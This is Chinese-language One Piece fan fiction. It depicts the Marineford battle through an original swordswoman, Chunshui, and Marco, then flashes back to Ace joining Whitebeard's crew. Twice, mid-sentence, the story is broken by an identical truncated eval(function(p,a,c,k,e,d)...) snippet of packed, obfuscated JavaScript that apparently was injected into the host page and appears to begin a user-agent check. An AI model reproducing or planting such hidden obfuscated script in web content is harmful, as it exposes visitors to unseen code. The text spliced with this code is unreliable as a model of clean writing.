——白胡子海贼团的「利刃」,展露锋芒。 比世界上任何人都更清楚她的实力,马尔科咧嘴一笑,顺势退回甲板:“交给你了yoi!” 波鲁萨利诺饶有兴致地眯起双眼,米霍克那双鹰隼般的锐利眼眸则紧紧锁在春水那半截刀身缠绕的霸气上。 那并非简单的武装色缠绕,而是更直白、更纯粹、更具破坏力,像是要从源头上切断一切。 米霍克当然知道这是什么。 他多次从好友香克斯那儿听过「春水」这个名字——自打二十多年前认识起,那小子每次喝上头了都要念叨几句什么……“好想打一场”“但她好像没兴趣”“每次连刀都不拔真让人火大”“说什么切断万物结果连毛线都打不好的笨蛋”。 听得多了,他也难免好奇起来。 也不是没动过约架的念头。尤其是红发十年前去了趟东海,回来居然没了一只胳膊。 ——擅使左手剑的家伙,虽然霸气依旧无可匹敌,甚至更恐怖了,但右手挥刀总觉得差了点什么。 “和你打已经没意思了。”他试图讨要春水的生命纸,“那位白团的「利刃」,我去试试。” ——结果当然是被一喝酒就撒泼一醒就傻笑的家伙搪塞过去了。 如今有机会,那这场顶上之战就没白来。乐于寻找对手的米霍克如是想到,心情很好地再次挥刀。 “不出鞘也没关系。”他对待可与一战的对手的态度一向耐心,“但只守不攻的刀,没法越过我。” 春水用「线」将波鲁萨利诺的「天丛云剑」推向右侧正攻击乔兹的库赞,替他接下一记「冰河时代」,闻言表情没什么变化。 “还不是时候。”她只是这样说着,右手推刀接下黑刀夜的多段斩击,左手引着波鲁萨利诺的光速攻击偏移—— 是错觉吗? 这位海军大将的攻击总是恰到好处地被引导、偏转,仿佛……只是在完成一项不得不做的任务。 ……他是在摸鱼吗? 冰屑在两人周围飞舞,斩击的余波将脚下的冰面割裂出深深的沟壑。 春水的刀始终没有完全出鞘,却总能恰到好处地化解米霍克的攻势,同时还能分心牵制着波鲁萨利诺——虽说那位大将,似乎也并不急于全力出手。 白胡子麾下所有队长级战力均被海军大将与七武海死死缠住。处刑台近在咫尺,却又远在天涯。 战国、卡普与赤犬仍稳坐处刑台前,如同三座不可逾越的大山——并非他们不愿出手,而是白胡子一方至今仍未有人能真正突破这最后一道防线。 时间一分一秒流逝,对白胡子海贼团愈发不利。 战场陷入僵局时,一艘破冰船却正正好好从天而降,砸入冰面——近两年横空出世的「草帽小子」蒙奇·D·路飞竟带着一群从推进城逃出的重量级囚犯,奇迹般地成了那个「变数」。 “艾斯——!我来救你了!!!” 这一声呐喊,如同投入死水中的巨石,瞬间打破了战场的平衡。 革命军的干部「人妖王」伊万科夫,前王下七武海克洛克达尔与甚平,还有……罗杰船上的那个红鼻子。 “哦?那就是艾斯整天挂在嘴边的弟弟?”比斯塔提剑砍来,顺势替下春水,迎上了米霍克。 看清了来人,波鲁萨利诺的光速踢击立刻转向,朝着横冲直撞的路飞袭去。 艾斯走到哪儿都要提一句、甚至连悬赏令都贴满了甲板的弟弟——年纪轻轻却胆子大到和老爹叫板的小子,头上带着香克斯宝贝得不行的草帽。 也许实力尚未跻身顶尖,但他身上有种比霸王色霸气更令人侧目的特质。 这孩子,拥有大海上最可怕的力量——能够将周围的人陆续变成自己的伙伴。 ……就和他头上的草帽的原主人,海贼王哥尔·D·罗杰一样。 在一众曾是敌人如今却在帮他前进的力量中,他做到了所有人都未曾料想的事——高喊着“艾斯!我来救你了!”,带着一股子不讲道理的莽劲儿,杀向处刑台。 与此同时,静默的两位主帅与大将中最为棘手的「赤犬」动了。 萨卡斯基缓缓起身,熔岩般的暗红色流体开始在他右臂上涌动、沸腾,散发出毁灭性的高温。 “库啦啦啦啦!马尔科,看好了,别让那小子死了!”纽盖特豪迈的笑声震彻战场。 他挥动丛云切,震震果实的无形之力悍然迎上赤犬那足以融化一切的岩浆巨拳。 轰——! 四散飞溅的岩浆如同陨石雨般砸落,其中几股正朝着莫比迪克号的主桅杆袭来。 春水及时回防,散落的岩浆被「线」更改了下落轨迹,精准地偏转向海军的几艘炮舰。 然而,另一股更为强大的震动波紧随其后,将她一同轻柔却坚定地推离了莫比迪克号。 那是她再熟悉不过的力量——震震果实,属于老爹的力量。 “老爹——?!” 春水落地,一直平静无波的面容碎裂开来,生出了很长一道裂痕。 她蓦然回头,望向那个如山岳般屹立的背影,恰好对上了老人的目光。 那双同样燃烧着战意眼睛里,没有半分迟疑,更没有濒死的暮气,只有一种近乎纯粹的、享受强敌当前的炽热。 被他们这些儿女们小心翼翼护着,困于日渐衰朽病痛躯壳里,老爹他啊……究竟有多少年,没有像这样毫无保留地挥舞那把丛云切了呢? 比起缠绵病榻,衰弱而死。 他更渴望的,是这样在战场上燃烧至最后一刻吗? ……即使是最后一战,他也在久违地享受着吗? “春水,去吧。”纽盖特的声音穿透战场的喧嚣,他手中的丛云切挥舞出狂暴的风压,将赤犬的后续攻击逼退,“去帮马尔科一把。” “库啦啦啦啦!”见春水仍钉在原地,定定地望着自己。纽盖特突然咧开嘴,露出了一个带着些许遗憾却又无比温和的笑容。 他遥遥地,朝着她的方向,轻轻摆了摆手: “去吧,我的女儿。” 那动作,不像是指挥,更像是……更像是告别。 春水读出了那笑容背后的意味,眼眶腾地一酸,滚烫的泪水毫无预兆地夺眶而出,划过她沾着烟尘的脸颊。 “马尔科!”乔兹的吼声如同惊雷。 他庞大的钻石身躯悍然挡在路飞前方,硬生生接下了米霍克所有斩击,迸发出刺耳的撞击声。 马尔科抓住空隙,不死鸟的青炎掠过,双翼一振,化作一道青色流光,直扑处刑台! “艾斯——!”他的眼中只剩下处刑台上的身影,以及处刑人手中迫近的长刀。 关心则乱,一股令人窒息的压迫感从天而降! 海军英雄卡普的铁拳,缠绕着顶级武装色霸气,以粉碎军舰之势轰然砸落! “砰!” 马尔科如同断线的风筝般被狠狠砸进冰面,青炎瞬间黯淡、熄灭。等候多时的海军士兵迅速上前,海楼石手铐“咔嚓”一声扣住了他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“——滚开。” 寒芒流转,圆弧形斩击平滑地将空气一分为二。刀刃所过之处,空气、声音、乃至光线都仿佛被无声地切断! 库赞的冰棘矛与波鲁萨利诺的天丛云剑,在接触到斩击的瞬间,像是从「存在」的根源上抹除了一般,骤然被切断! 不止是实体攻击……连自然系果实能力与操控能力的未来,也被这一刀短暂地、平滑地“切断”了! 借用能看清、抽出、甚至操控人类或物体的「线」的能力,觉醒后的「织织果实」甚至能让她短暂地抓住在每个节点有着无数可能性、被称为人的未来的「线」。 我能看到,就能斩断。 ——是为「无我不断」。 她拔刀,斩击,归鞘。速度太快,米霍克可能是在场唯一一位将它看得清楚的人。 他那双锐利的鹰眸罕见地睁大了些许,随即竟低沉地、愉悦地笑了起来,解开了多年的疑惑。 “原来如此。”他心中了然,“怪不得你不接香克斯的刀,也怪不得你说——‘还不是时候’。” 那是第一次斩击。 一击逼退库赞与波鲁萨利诺,春水毫不恋战。 她趁着两位大将的能力被短暂“切断”、无法元素化的几息,身影疾闪,一手抓住虚弱跪地的马尔科,另一手提起被冻结的乔兹,迅速退至由白胡子麾下其他船长们勉强支撑起的临时安全区。 “春水,你——” 从她来开始,马尔科已经迅速调整好呼吸,他眼见春水用出了这道悟了十余年的几乎奇迹的一刀,心头非但没有喜悦,反而像慢慢地、慢慢地沉了下去。 「春水,她不对劲。」 春水一刀切断了困住他的海楼石手铐,纵身欲冲向最危险的处刑台方向。 不死鸟展开羽翼,再生之炎迅速扩张,修补自己与同伴的创伤,马尔科却猛地伸手拦下她。 春水不闪不避,任由男人的手指抓向自己颤抖的手腕。 ——出刀时那一点泪光,不是错觉,是春水。 最坏的预感被证实了。马尔科只觉得一股寒意从脚底直冲头顶,瞬间如坠冰窟。 「春水,你——」 他几乎发不出声音。 「你、你在哭吗?」 大脑一片空白,等马尔科回过神时,身体已经诚实地拥抱住了她,这才发现怀中人全身都在剧烈地颤抖。 太过痛苦,她压抑不住身体的颤抖。 他猛地抬头望向纽盖特与萨卡斯基交战的方向,那里早已被震动与岩浆覆盖,甚至不存在能站立的土地。 这才是爱德华·纽盖特。 那个能与海贼王打上三天三夜分不出胜负,最后用酒化干戈的爱德华·纽盖特。 那个「最强的男人」。 ——多少年没再肆意战斗了呢?老爹。 ——你现在是在笑吗?老爹。 马尔科能感觉到春水的手臂缓缓抬起,颤抖着回抱住了他。 这回应就像是个肯定,对他不详预感的肯定——再生之炎不受控制地熊熊燃烧,仿佛想连同这份绝望一同焚尽。 不死鸟将额头深深抵在她的颈侧,滚烫的眼泪终于无法抑制地涌出,浸湿了春水的衣领。 腥风血雨里,两个同时失去了父亲的孩子紧紧相拥。 「老爹他啊、他的身体已经躲不开攻击了。」 「他不会躲,也不会退。他会站在那里,迎接所有挑战,直到最后一刻……」 ——至死方休。 “……马尔科。” 颈边的湿意和耳边压抑的低泣让春水的喉咙像是被什么堵住了。 她用力闭了闭眼,止住越发汹涌的泪意。再睁开时,眼底只剩下冰冷的决绝:“我们一定要带走艾斯,和他的弟弟。” 环抱着她的手臂收得更紧了。 良久之后,她听见了马尔科哽咽的、明明强行压抑却压不住的哭腔:“………嗯。” 4. 别和老爹告状啊,马尔科 几乎是在两人彼此汲取力量的同一时刻,战场另一端,局势因纽盖特的决断而再次剧变! “库啦啦啦!全体听令!为草帽小子开路!”他雄浑的指令响彻战场,如同吹响了总攻的号角。 白胡子海贼团残存的所有力量——队长们、麾下船长们爆发出最后的怒吼,不顾自身伤亡,只为给戴着草帽的少年扫清前方的障碍。 “死亡Wink!!” 人妖王伊万科夫与闪电女士默契配合,巨大的地面被掀翻、重塑,一道通往处刑台的桥梁在硝烟与混乱中拔地而起,为路飞铺就了一条道路。 “艾斯——!!!” 身负无数希望,路飞榨干最后一丝力气,成功突破爷爷卡普的防线,跃上了处刑台。 “钥匙!快!” 混乱中,不知何时潜入的 Mr.3 加尔·帝诺终于找到机会。蜡烛果实能力发动,一把钥匙精准地插入了海楼石手铐! “咔哒。” 一声轻响,却如同惊雷般炸响在每个人心头。 “放肆!”战国惊怒交加,化身金色大佛,巨掌轰然拍下,整个处刑台应声崩塌! 但下一秒—— “轰!!!” 火光冲天而起,波特卡斯·D·艾斯的身影傲然挺立!他一手拽住脱力的弟弟路飞,一手挥出一记重拳: “「火拳」!” “艾斯!成功了!!!” 白胡子海贼团爆发出震天的欢呼,无数兄弟们不顾伤势,热泪盈眶。 兄弟二人稳稳落在冰面上,背靠着背。 艾斯扭头看着气喘吁吁却眼神明亮的弟弟,脸上露出了久违的、畅快而骄傲的笑容:“你从前就是这样,路飞!只知道乱来的家伙!!” 他带着笑意大声问道:“还能战斗吗?!路飞!!” 戴着草帽的男孩抹了把脸上的血和汗,露出了一个无比灿烂的大大笑脸。 “当然了!!!” 向着最爱的哥哥,他这么回答道。 希望的火焰,似乎真的被重新点燃了。 但危机并未解除。 萨卡斯基的怒火转向了艾斯和路飞。 他熟知白胡子海贼团成员的弱点,漫不经心地开口嘲讽道:“一救出艾斯就立刻夹起尾巴逃跑,真是一群胆小鬼啊,白胡子海贼团。” “船长也无能,真是没办法啊……白胡子,说到底就是上一个时代的失败者啊。” 望着牙齿咬得咯吱作响的艾斯,萨卡斯基仍然带着轻蔑的嘲笑,等待着预想中的飞蛾扑火。 “给我收回——你刚刚的话!” 前半生一直在寻找存在的意义,最后决心作为「路飞的哥哥」和「白胡子海贼团二番队队长」而活,因此绝对不能容忍有人在面前侮辱纽盖特。 艾斯挥拳,火焰倾泻而出:“不许你——侮辱我的救命恩人——!” “这个时代!名为白胡子!!!” “「大炎戒·炎帝」!” 巨大的火球与萨卡斯基的「冥狗」轰然相撞! 火焰与岩浆激烈对抗,但属性上的克制让火焰终究被熔岩吞噬、熄灭。高温蒸汽弥漫,艾斯的手臂被严重烫伤。 然而,萨卡斯基的真正目标并非艾斯——熔岩巨拳直扑因脱力而跪倒在地、毫无防备的路飞! “艾斯!” 青炎羽翼漫天,马尔科试图俯冲救援,却被黄猿的八尺琼勾玉再次精准地拦截在半空。 他怒急,火焰翻飞,一脚踹去:“滚开!!” “路飞!”见势不妙,艾斯甚至来不及思考,身体已经本能地转身,张开双臂,决意用后背为弟弟挡下这必杀的一击。 “艾斯!!!!”路飞的惊呼撕心裂肺。 然而—— 「嗤——!」 血肉被灼穿的声音并未出现。 「锵——!!」 有什么东西越过路飞和他身前的艾斯,与熔岩相碰——却没有惊天动地的对撞,只有一声极其尖锐、撕裂耳膜的切割声! ——不是击碎,不是抵消。 如同烧红的利刃切开黄油,那足以毁灭岛屿的熔岩巨拳,在接触到刀锋的瞬间,竟被这道斩击从中间整齐地、平滑地一分为二! 炽热的岩浆被迫分流,擦着艾斯和路飞的身体两侧轰然砸落,将冰面融化出巨大的坑洞。 蒸汽冲天而起。 ——是被一种无形的力量,从概念上“切断”了! 赤犬的脸上第一次出现了难以置信的错愕。 艾斯怔怔回头,只见春水屹立在他们身前。她保持着挥刀斩下的姿势,无声无息地抬眼,阖刀入鞘。 那双黄金色的眼眸,因着怒憎而微微发亮。 ——战场陷入了一片死寂,只剩下女人冰冷而饱含厌恶的声音,在清晰地回荡。 “一大把年纪了还在欺负两个孩子,真当我白胡子海贼团没人了吗?” “爱德华·纽盖特之名,庇护了三十三个非世界政府加盟国,拯救了成千上万的平民免于战乱。这一点比世界政府强太多了吧?失败者、胆小鬼?傀儡也配这么喊老爹?” 她的声音陡然拔高,目光扫过战场边缘正在努力维持影像电话虫的巴基: “现在说出「空白的那一百年」和「乔伊波伊」的真相,你猜马林梵多会不会和「神之谷」「奥哈拉」一样,被降下「天罚」、从世界地图上抹消?” “——胆小鬼,究竟是谁啊。” 名为艾斯的长刀,发出一声清越的嗡鸣。刀身上黑红色的电弧爆裂而起,斩断了库赞试图阻止她的冰矛。 「无我不断」。 这是第二次斩击。 快、准、狠,且毫无征兆! 长刀的主人挡在艾斯和路飞身前,如同不可逾越的屏障。金色的瞳孔冰冷地锁定萨卡斯基,杀意与讥笑毫不掩饰。 ——“你这疯狗。别在这里,丢人现眼了。” “春水姐!!!”艾斯失声喊道,急忙搀扶起几乎虚脱的路飞。他看着春水笔直的背影,心头涌上强烈的不安,“你——” 萨卡斯基的脸色阴沉得能滴出水来,熔岩再次于他拳上汇聚翻滚,散发出恐怖的高温:“霸王色?就凭你,能挡住几次?” 为什么萨卡斯基会放弃原本的目标纽盖特,而是赶来追击艾斯? 老爹还能活动的话,一定不会放任他来的。 这就意味着,老爹他—— “挡住只会乱吠的野狗,这很难吗?” 春水持刀而立,衣角被灼热的气流吹得猎猎作响。胸腔里的怒火仿佛要将她的理智、血液、骨骼、乃至灵魂都焚烧殆尽。 她的气势节节攀升,刀尖微抬,直指萨卡斯基,牙关紧咬,怒火与杀意暴涨,指节因过度用力而发出令人牙酸的咯吱声。 “别以为重伤了老爹,还能像没事人一样离开啊——” 她一字一顿,声音冰冷刺骨,带着滔天的恨意: “世、界、政、府、的、看、门、狗!” “嚯,这么狠,春水是有多生气啊——不过骂得漂亮!!”比斯塔心中暗暗叫好,同时避开米霍克的斩击。 他隐约觉得,这位世界第一大剑豪也有些心不在焉。两人的战圈在不知不觉中,正朝着萨卡斯基和库赞制造的那片冰火地狱边缘挪动。 就在比斯塔分神看向春水那边时,高大的身影猛地挡在了他面前,接下了原本攻向他的斩击。 “喂,别犯傻了,比斯塔!” 是乔兹! 他双目赤红,脸上布满了泪痕。这个几乎从不落泪的硬汉,此刻声音嘶哑,朝比斯塔吼道: “老爹……老爹他被赤犬的岩浆拳打中了!胸口……胸口被开了两个大洞啊!!” 那一刻,比斯塔如遭雷击。 他一直强迫自己不去看那个方向,就是怕被影响,可最坏的噩耗还是传来了。 ……老爹……! 世界瞬间变得模糊,他的泪水不受控制地涌出。 “内脏……内脏都被打穿了!”乔兹用钻石身躯抵挡着黑刀夜的斩击,泣不成声,“马尔科说……马尔科他说……老爹……救不回来了啊!!” “老爹……”比斯塔喃喃道,感觉全身的力气都被抽空了。 “春水已经疯了要去拼命了!”乔兹怒吼着,“我们不能让她一个人啊!!” 他猛地抬起头,布满血丝的眼睛死死盯住远处那个岩浆翻滚的身影: “赤犬——就在那儿啊!是他!是他杀了我们的父亲啊!!!” 一直以爽朗笑容示人的花剑·比斯塔望向双手,再次死死握住了双刀的刀柄,浑身因愤怒而剧烈颤抖。 “啊。是啊。” 他一把抹去脸上的泪水和血污,声音从喉咙深处挤出,恨得将牙齿咬得咯吱作响。 ——“是,那,只,狗,啊。” 直面春水,将近三十多年没再听过这样直白的侮辱与挑衅,萨卡斯基脸上闪过惊愕,随即化为更深的暴怒:“找死!” “有意思的能力,但你的体力——是有极限的吧。”库赞摸着下巴,计算着承受两次斩击后,身体与冰冻果实能力再次建立起链接的时间,若有所思,“时间减少了一秒。” “「大喷火」!!” “「冰河时代」。” 炽热熔岩与极寒冻气同时从左右两侧夹击而来,封锁了春水所有退路。 “艾斯,带路飞走。”春水深吸一口气,对还在愣神的艾斯和已经被他背在背上的路飞低声嘱咐道,“去找甚平,去吧。” “可是春水姐你——” “别傻了,笨蛋。” 春水的语气依旧保持着惊人的平静,但她紧握刀柄的手,以及周身散发出的、几乎凝成实质的杀意与决绝,已经说明了一切。 “——只要你们能活下来,就是我们赢了。” 这是第三次斩击。 正面迎上了两位海军大将的攻击,白胡子海贼团最锋利的刃咬牙咽下翻涌而上的气血。 她侧过头,对身后的家人露出了一个极其罕见的、带着血迹却无比温暖的笑脸。 “一定要活下去啊,艾斯。 “——去吧。” 知道自己只会成为她的累赘,艾斯眼眶一热,咬牙拉起路飞,含着泪深深看了她一眼。 他终于化作一道火光,迎上了前来接应的伙伴。 确认艾斯和路飞暂时安全,春水心中稍定,精神却愈发集中。她在心中默数着时间。 一息、两息、三息、四息。 四息过后,她动了。与此同时,被暂时击退的萨卡斯基和青雉也再次攻上来。 冰、岩浆与斩击再次相撞。 「无我——不断」! 只有极致的速度与凝聚到极点、缠绕着黑红色电弧的霸气。 寒芒一线! “锵——!” 漆黑的刀光一闪而逝,精准无比地再次将那毁灭性的熔岩巨拳从中剖开! 几乎在同一瞬间,第二刀以几乎相同的速度挥出,将冰河时代平滑地切断! 「轰隆——!」 冰川碎裂,岩浆分流。 灼热的气浪吹得春水的长发疯狂舞动。极寒与极热两股力量因被斩断而部分失控,相互碰撞、抵消,产生了剧烈的爆炸。 虽然避开了要害,但离得太近,急剧蒸发的高温蒸汽还是灼伤了她。——不同于前三道的尝试,这第四次斩击,她已经能够熟练应用,甚至做到了瞬间连发。 持刀的双臂被熏黑、烧焦,前胸后背均有皮肤开裂,但她感受不到疼痛一样,持刀的手稳如磐石。 一息、二息、三息。 ——要来了! 这次她没有挥刀,而是还刀入鞘。 她放弃了硬碰硬的斩击,双手在虚空中一抓,如同以往无数次配合那样,精准地抓住了那冰与火两道攻击轨迹的「线」。 “终于来了。”她轻声道,笑容却很明亮,“等你好久啊。” 燃烧着青炎的身影如流星般划过战场。缀着璀璨如黄金链条般的尾羽,不死鸟张开巨大的双翼,稳稳地、承守护状围在她身前! 再生之炎瞬间化作坚实的护盾,挡住两股攻势。 ——他同时还不忘分出部分温暖的青炎,迅速覆盖春水焦黑的身体,治愈着灼伤。 “艾斯和他弟弟已经被甚平带着潜入海里了yoi!”马尔科的脸色极其难看,声音因后怕而沙哑,“非要一个人留下硬扛两个大将,你这个乱来的笨蛋!” 体力随着呼吸逐渐回复,春水将岩浆的「线」偏离半寸,使它擦过再生之炎,迅速与冰山相撞。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萨卡斯基的怒吼伴随着毁灭性的熔岩,瞬间将平复呼吸的两人吞没! 再生之炎岩浆中艰难地维持着一个摇摇欲坠的茧形壁垒。 茧内,马尔科半靠着春水,大口喘着气,额角渗出细密的汗珠。 他一手竭力维持着青炎壁,另一只手则稳稳按在春水肩头,将所剩不多的再生之炎分出一大部分,源源不断地注入她近乎枯竭的身体。 这场战争持续了太久,他使用能力的时间也长得惊人。疲惫感如同潮水般阵阵袭来。 “说实话,真的有点累了yoi。” 话音未落,他听见了笑声——带着一种近乎疯狂的快意。 春水在笑。 平时有个笑模样都难,打架时就像有什么人格分裂似的。 马尔科翻了个白眼,计算着一边计算着还能支撑多久,一边却将更多的再生之炎渡向她。 春水感受着体内逐渐充盈的生命力,计算着下一次能力“切断”的间隔,以及……自己还能同时挥出几刀。 “马尔科,马尔科。”她突然喊他的名字,声音带着激战后的沙哑,却异常清晰、异常坚定,“我能砍断他的脖子了。” 领悟了十余年才摸到边际,对决时却一朝顿悟。 用三刀熟悉「无我不断」,再用三刀超越「无我不断」,像是她能做出来的事。 马尔科毫不意外。他当然知道这是指谁,也当然能明白她脸上疯狂涌动着的杀意,代价到底是什么。 ——「玉石俱焚」,就是这四个字。 按甚平和鱼人海贼团的速度,艾斯此刻应当已被送至安全海域。有他们的掩护,海贼团剩余的伙伴应该也来得及逃跑——他们其实已经赢了。 即使这样……还是不想走吗? ……是啊。 杀害老爹的凶手就在眼前,滔天的恨意与不甘,如何能平息? 这还用问吗。 ——当然是用仇敌的头颅啊。 ——当然是用仇敌的头颅啊!! “伤口冻结从而止血,青雉已经恢复战力了。” 再生之炎形成的壁垒发出不堪重负的碎裂声,岩浆从缝隙中汩汩渗入。春水却仿佛毫无察觉,依旧带着那种令人心惊的笑。 “真碍事,得让他没力气打扰我们才行。” 她定定地看着马尔科。 那是很深、很深的凝望,是最后一次努力将对方的模样刻在骨头里。 “马尔科,这次要用上全部的再生之炎。” 不死鸟的形态可以免疫元素化攻击,瞬间修复伤害——但一切的前提,是他必须保留足以维系自身的再生之炎。 海军在虎视眈眈,所有枪口都对准了这里,不存在也不可能会被俘虏。 那么赌上全部的一击,失去战力的结果,只有一个。 这个人啊,她在笑着邀请他一起死——甚至从头到尾都没问过他一句“你愿不愿意”。 马尔科咧嘴笑了。 他什么也没说,有时行动往往比语言更直接。 比任何时候都更加炽亮、更加耀眼的青炎猛地从他体内爆发出来,如同凤凰涅槃时的光华瞬间将两人吞没。 最后的、仅剩的霸气形成电弧,毫无保留地灌入脚爪,马尔科能感受到力量在迅速奔涌、咆哮。 极度专注之下,春水眼中金光流转,见闻色霸气以前所未有的强度疯狂运转。 她清晰地“看”到了那条比以往任何一次都更加明晰、连接着萨卡斯基未来的「命线」——三秒以后,会被自己斩断的「命线」。 她畅快地笑了起来,手指稳稳握住了刀柄,下一秒已经拔刀出鞘! “在老爹面前,别告我的状啊,马尔科。” “说什么疯话呢,我会让他狠狠骂你的yoi!” 没有半分犹豫,两道身影如同挣脱了所有束缚的野兽,撕裂炎壁,并肩迎上了毁天灭地的岩浆。 「青炎焚尽·凤凰印」! 「奥义·无我三相」! 5. 其实她很温柔的,艾斯 未加入白胡子海贼团时,艾斯就从看热闹不怕事大(后来马尔科的评价)的香克斯那儿,听说过马尔科和春水了。 一个是能吸收全部伤害、凤凰涅槃一样几乎无解的「不死鸟」。一个是凶悍如雷暴、据说出刀就不留活口的「利刃」。 “你要去拿下白胡子的首级吗?” 被路飞一直挂在嘴边的恩人、成熟稳重的大海贼香克斯单手执碗,酒液微微晃动。 篝火映衬着他不知道想起了什么、显得格外明亮的双眼。 “那要先打败那两个人才行吧。”他笑眯眯地望过来,语气里带着一种让艾斯当时不太明白的、混合着怀念和促狭的意味,“「王下双翼」,最锋利的刀和最坚固的盾yoi——” 他故意拖长了尾音,学了个似是而非的口癖,惹得旁边的贝克曼无奈摇头。 ——不知道究竟算是幸运还是不幸,初出茅庐的他,撞上的是相对温和且实力相当的「海侠」甚平。 这场持续十天的激战最终引来了白胡子本人。纽盖特制止了跃跃欲试的比斯塔等人,亲自出手。 那几乎是碾压性的力量,艾斯再次恢复意识时,已身处莫比迪克号的医疗室中了。 马尔科是他清醒后见到的第一个人。没理会他瞬间绷紧的身体和已经凝聚起火焰的拳头,再生之炎熊熊燃烧,落在身上却一点也不烫。 ——被覆盖的伤口一点点愈合,他在为自己治疗。 “我是马尔科,这艘船的船医。”外界被传的神乎其神的不死鸟笑起来意外的温和,语气带着无奈的懒散,“年轻人有干劲是好事,但现在还是别乱动比较好yoi。” 纵使得到了敌人的救治,艾斯的敌意也未消减。 他依旧牢记“要打败最强的男人然后将名号响彻天地”——自那以后的每一刻,他都在为之努力。 从正面挑战,到趁纽盖特熟睡时夜袭。他一次次攻击,又一次次被轻易放倒,醒来便是在病床上。 身上的绷带换了又换,看样子有点头痛的「不死鸟」马尔科来了一趟又一趟。 ——这样重复了大概一周,外出做任务的春水回来了。 据萨奇后来边切菜边透露,她是去收拾一个在鱼人岛兴风作浪、扬言要垄断香波地群岛奴隶交易的海贼团。 对方集结了好几个悬赏过亿的超新星,气焰嚣张——结果当然是被春水一人一刀杀穿了。 从鱼人街砍到吉隆考德广场,最后一把火把对方海贼团连船带旗烧的一干二净。 ……她是一个人回来的。 风尘仆仆,发梢末端还凝结着未能彻底洗净的、干透到暗沉的血迹。 人还未完全踏上甲板,冷冽的一双眼已经精准地锁定了正在对纽盖特发起不知第几次挑战的艾斯。 原本还在看热闹、甚至给艾斯偷偷加油的船员们一见春水归来,脸色俱是一变。 “坏了坏了!她回来了!” “才过去一周……那群超新星就这点本事吗?” “快拦住她!这小子细皮嫩肉的经不起她折腾!” “春水!冷静点!那是新人——大概是吧?” “马尔科呢!快把马尔科喊过来!” 七嘴八舌的劝阻声响起,在纽盖特的“小丫头回来了啊”的笑声里,大家试图拦下她,队长们已经冲了上去。 ——当然,他们都失败了。 因为她太快了。 视网膜还没来得及捕捉到什么,上一秒还只是刚踏上船舷的身影,下一秒已然近在咫尺! “噌——” 好快! 艾斯甚至没来得及元素化——后来他才明白,即使元素化在她的霸气下也形同虚设——后颈衣领骤然一紧,一道巨力将他猛地向后抛去! “锵——!” 几乎在同一瞬间,青金色的火焰如流星般划过。 是马尔科! 武装色之间对撞出了一记闷响,他以更快的速度介入,精准地格挡住了春水那仅是出鞘半寸的刀柄。 再生之炎顺着刀迅速缠绕而上,不着痕迹地修补起她不起眼的小伤口。 “我说你啊——” 满脸无奈的男人收回脚爪,落在艾斯身前。 春水被再生之炎缠绕着,那了不得的杀意在他出现时,顷刻间散尽了。 收敛眉目,她安静地顺着他的力道收刀。 ——她没问理由,他也不需要解释。 马尔科只是自然地推着春水的肩膀,将她往船舱方向带,挡住了她望向艾斯时依旧冰冷的眼神。 “水烧好了,去洗个澡再说yoi。” 无愧于「不死鸟」之名,迅疾如雷、重逾万钧的踢技。 望过来那一眼,黄金瞳里尸山血海才凝练得出的杀意。 以及那在电光石火间开始并结束的交锋。 别说纽盖特,就是这两个人无论哪一个,动起真格来,他都完全打不过——艾斯前所未有的明白了这点。 自己,还是太弱了。 虽然结果是春水站在原地乖乖挨训——她发梢没洗净的血迹被马尔科妈妈发现了。 “多大的人了,不要摆出不情愿的表情yoi。” 对着旁人看来完全没有表情变化、依旧是那副面瘫脸的春水,爱干净又太了解她的马尔科简直操碎了心。 “换洗衣服放门口了,不洗够半个小时不准出来——我可是在计时呢!” ——但那次只一眼便几乎丧命的初遇,实在算不上什么好的体验。 这导致了后来被马尔科的真诚攻势和萨奇的一碗热腾腾的海鲜汤劝服,正式入伙的艾斯,很长一段时间内都下意识的和春水保持距离。 就像一把收在刀鞘里的利刃,你清楚它有多锋利,即使可能伤不到你,但还是不敢触碰。 “真的很强啊,而且感觉有点可怕……”艾斯曾私下对关系最好的萨奇嘀咕——可能是因为对方的厨艺实在是太好,完完全全收服了他的胃。 “这不是明摆着的吗,那可是春水啊。”萨奇赞同地点头。 想起了这人为了不改变航线,一刀斩断了巨大的海王类,使得一船人都被血溅了一脸的那一幕……他将头点了又点。 “但是啊,”魔法一样从身后掏出艾斯最爱的带骨肉,很早、很早以前就认识了春水的萨奇大笑着拍他的脑袋,“其实她很温柔的,艾斯。” 艾斯:“………你是不是对温柔这个词有什么误解啊,萨奇。” “确实。尤其是对家人,虽然你可能现在还看不太出来。”左手边,比斯塔自然而然的加入这场悄悄话,“有次有个家伙在酒馆说乔兹坏话,被春水用筷子钉穿了舌头甩出了窗户。” “……这究竟算哪个国家的温柔啊?还有比斯塔你什么时候——!” “后来马尔科去赔了窗户钱。”右手边,刚搬完货物、顺手给他们端来一大扎冰啤酒的乔兹本人补充道,指了指船医室的方向。 “乔兹?你也——?!” “不太懂怎么和春水相处的话,你可以去请教下马尔科。”就连路过的以藏也拎着几个木杯加入了这场讨论。他压低声音,带着点戏谑,“毕竟她俩,可是确确实实的「严父慈母」组合啊——” “噗嗤!” “哈哈哈哈哈哈究竟什么时候听到这个称号才能不笑啊我说!” “我在想象马尔科的表情……” “真的是太损了你哈哈哈哈哈!” “唉?唉?!严父……慈母?”艾斯捧着啤酒杯,完全不明白他们在说什么,脸上写满了困惑。 几个哥哥大笑着揽过他:“你过几天就明白了,现在先喝酒!” 白色泡沫如同雪花,酒液在太阳下泛着金黄,五个木杯在笑声里碰撞。 被他们这么提醒,艾斯终于主动找上了马尔科——听到他的来意,马尔科露出了哭笑不得的、“早晚有一天要揍那群家伙一顿”的表情。 “就算你这么问我。”他挠了挠头,似乎有点头疼,“其实春水,该怎么说呢yoi——” 他最后还是给出了建议。 